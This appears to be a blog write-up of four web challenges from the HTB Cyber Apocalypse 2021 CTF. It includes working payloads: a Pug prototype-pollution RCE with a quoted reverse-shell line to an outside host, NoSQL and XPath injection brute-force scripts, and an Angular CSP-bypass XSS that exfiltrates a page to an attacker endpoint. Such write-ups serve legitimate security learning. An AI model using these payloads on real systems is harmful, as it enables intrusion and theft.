Cyber Apocalypse 2021 was a great CTF hosted by HTB. Super fun challenges, thank you organizers!
This post covers a handful of web challenges: BlitzProp, Wild Goose Hunt, E.Tree, and The Galactic Times.
BlitzProp
The challenge prompt is:
A tribute page for the legendary alien band called BlitzProp!
If we start the Docker container and visit the page, we see a simple webform (with cool styling):
We also get source code for the app, built on Express and using Pug for its rendering. Notably, this part of routes/index.js
handles our form submission:
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
If we include a Blitzpop song, then we get a nice response back. The important part in this code is unflatten
.
HTB had a similar challenge called Gunship, which used the same unflatten
idea but with Handlebars instead of Pug. That blog post links to a more comprehensive post about prototype polution in template engines.
The code they provide as an example is:
import requests
TARGET_URL = 'http://p6.is:3000'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
We need to update this to point at our endpoint, and include the song.name
variable as expected. I also updated the output command to cat
the flag, and write it to a new file in the static/
directory, which then gets read in the next request.
import requests
# TARGET_URL = 'http://localhost:1337'
TARGET_URL = '<your ip here>'
r = requests.post(TARGET_URL + '/api/submit', json = {
"song.name":"The Galactic Rhymes",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`cat flag* > /app/static/out`)"
}
})
print(r.status_code)
print(r.text)
print(requests.get(TARGET_URL+'/static/out').text)
This gives us the flag (CHTB{p0llute_with_styl3}
)
Wild Goose Hunt
We get the source code for this one. We see that the package.json
file includes mongoose
. We can see in index.js that we are in fact working with a mongoDB database.
The provided Dockerfile shows us that the database (using the model defined in models/User.js
) is populated with user admin
and a password that is the flag:
mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )'
Since it’s a mongoDB database, my first thought is a NoSQL injection. Our normal payload is:
payload='{"username": "admin", "password": "our_guess_here"}
Because (some) MongoDB instances are vulnerable to NoSQL injection, we can replace the password portion with a query that matches the start of the password.
payload='{"username": "admin", "password": {"$regex": "^%s" }}
We’ll iterate through ascii characters until we find the first letter. Although based on the flag format, we already know the start will be “CHTB{". Once we get the first matching letter, we’ll tack on another one, and continue on in this manner until we get the full flag:
import requests
import string
import urllib3
import urllib
urllib3.disable_warnings()
username="admin"
password=""
u="<ip>/api/login"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": "admin", "password": {"$regex": "^%s" }}' % (password + c)
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'Successful' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
It takes a while, but we finally get the flag, which is: CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
.
E.Tree
The web interface allows us to query for a military member, and if they are in the xml file, we get a message back that the personnel exists. Otherwise, we get a message that they don’t exist.
This challenge provided an xml file that hinted at two portions of the flag:
The attack here is XPath injection. While I used a couple different blog posts, this guide was my main reference point. This line in particular is applicable to us:
'or contains(name,'adm') or' #Select first account having "adm" in the name
Their example xml file uses a <name>
tag, but the tag we want to read is selfDestructCode
. We also need to switch out adm
for CHTB{
.
'or contains(selfDestructCode,'CHTB{') or' #Select first account having "adm" in the name
I found the “exists” message by using another method of xpath injection so I knew what message to match on:
Similar to the previous question, the idea here is to iterate through the flag one character at a time. If the real flag matches our partial attempt at the flag, we’ll get a vague message that the military personnel does exist.
Putting that all together, our script is:
import requests
import string
import urllib3
import urllib
urllib3.disable_warnings()
password="'or contains(selfDestructCode,'CHTB{"
u="<IP>/api/search"
headers={'content-type': 'application/json'}
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','\'']:
payload='{"search": "%s"}' % (password + c + "') or'")
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'This millitary staff member exists' in r.text or r.status_code == 302:
print("Found one more char : %s" % (password+c))
password += c
This ends up only giving us a partial match, because the flag is split into two spots. The first half is CHTB{Th3_3xTr4_l3v3l_
.
To get the other half, we’ll start with a “}” since we know the flag ends with that, and then work our way backwards:
start = "'or contains(selfDestructCode,'"
secondHalf = ""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','\'']:
payload='{"search": "%s"}' % (start + c + secondHalf+ "}') or'")
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
if 'This millitary staff member exists' in r.text or r.status_code == 302:
print("Found one more char : %s" % (c + secondHalf + "}"))
secondHalf = c + secondHalf
The second half is 4Cc3s$_c0nTr0l}
, giving us a full flag of CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}
.
The Galactic Times
The design of this one was amazing:
Based on the source code of this one, it’s pretty clear that this is a CSP-related challenge:
fastify.register(require('fastify-helmet'), {
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-eval'", "https://cdnjs.cloudflare.com/"],
styleSrc: ["'self'", "'unsafe-inline'", "https://unpkg.com/nes.css/", "https://fonts.googleapis.com/"],
fontSrc: ["'self'", "https://fonts.gstatic.com/"],
imgSrc: ["'self'", "data:"],
childSrc: ["'none'"],
objectSrc: ["'none'"]
}
},
Notably, the scriptSrc unsafe-eval
and https://cdnjs.cloudflare.com/
.
We can go to the feedback page and provide our input.
Then the admin (bot.js) will view the page. They are able to view /alien
(unlike us), and that page has our flag. So we need to find a way to get them to view /alien
and then send the content of that page to an endpoint that we control.
I used a CSP payload based off of a previous CTF challenge. The idea is to import Angular libraries from the cdnjs.cloudflare.com, and then write Angular code to XSS the admin.
Because we get a lot of information back from admin.html, I grepped for the flag format with /(CHTB{.*})+/
.
Then, I forward the admin to my endpoint (using Pipedream).
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js" /></script>
<div ng-app ng-csp>
{{ x = $on.curry.call().eval("fetch('/alien').then(s => s.text()).then(d => { var grep = d.match(/(CHTB{.*})+/)[0]; document.location='<endpoint>/?c='+grep})") }}
</div>
And our flag back is: CHTB{th3_wh1t3l1st3d_CND_str1k3s_b4ck}
(although I think we can swap out whitelist
for allowlist
now…)
This was a great event, thank you to HTB and the organizers for putting it on!